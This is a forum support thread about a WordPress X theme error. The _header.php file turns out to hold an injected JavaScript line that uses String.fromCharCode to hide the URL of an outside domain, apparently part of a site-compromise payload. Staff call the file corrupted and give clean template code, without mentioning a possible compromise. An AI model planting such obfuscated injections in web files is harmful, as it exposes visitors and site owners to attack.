Header.php error message when trying to access website

Hi,

I’m trying to access a website for a client and I receive this error:

Parse error: syntax error, unexpected ‘var’ (T_VAR) in /home//public_html/*******.com/wp-content/themes/x/framework/legacy/cranium/headers/views/global/_header.php on line 7

When I go into my CPanel, this is what I find on Line 7 in the header.php file:

var pl = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 100, 101, 108, 105, 118, 101, 114, 121, 103, 111, 111, 100, 115, 116, 114, 97, 116, 101, 103, 121, 46, 99, 111, 109, 47);

Can someone please help fix this.

Thank you!

Hi Gregg,

Thank you for reaching out to us. By looking at the code you shared, it seems like the file is corrupted, the _header.php file (/x/framework/legacy/cranium/headers/views/global/) should have the following code:

<?php

// =============================================================================
// VIEWS/GLOBAL/_HEADER.PHP
// -----------------------------------------------------------------------------
// Declares the DOCTYPE for the site and includes the <head>.
// =============================================================================

?>

<!DOCTYPE html>

<html class="no-js" <?php language_attributes(); ?>>

<head>
  <?php wp_head(); ?>
</head>

<body <?php body_class(); ?>>

  <?php do_action( 'x_after_body_begin' ); ?>

  <div id="x-root" class="x-root">

    <?php do_action( 'x_before_site_begin' ); ?>

    <div id="top" class="site">

    <?php do_action( 'x_after_site_begin' ); ?>

You can replace the entire code in _header.php file with the above code and see if this fixes the issue. If the problem remains then try re-installing the X theme, please see https://theme.co/apex/forum/t/setup-theme-installation/54

Let us know how this goes!

Great, thanks for the info Nabeel! I’ll try that and hopefully it works.

You are most welcome!

This topic was automatically closed 10 days after the last reply. New replies are no longer allowed.